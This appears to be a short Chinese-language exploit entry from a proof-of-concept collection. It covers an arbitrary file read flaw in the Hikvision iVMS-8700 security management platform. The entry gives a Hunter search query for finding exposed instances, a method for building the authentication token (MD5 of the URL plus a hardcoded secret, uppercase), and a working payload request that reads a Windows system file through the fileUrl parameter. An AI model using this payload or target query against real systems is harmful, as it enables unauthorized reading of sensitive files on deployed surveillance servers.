H13-1海康威视-iVMS-8700综合安防管理平台-任意文件下载

漏洞描述：

HIKVISION iVMS-8700综合安防管理平台存在任意文件读取漏洞，攻击者通过发送特定的请求包可以读取服务器中的敏感文件获取服务器信息

网站图片：

网络测绘：

Hunter 语法：

- hunter：app.name=="Hikvision 海康威视 iVMS"

漏洞复现：

poc，token为url+secretKeyIbuilding进行MD5加密（**32位大写**）
payload：

```
/eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1
```

效果图: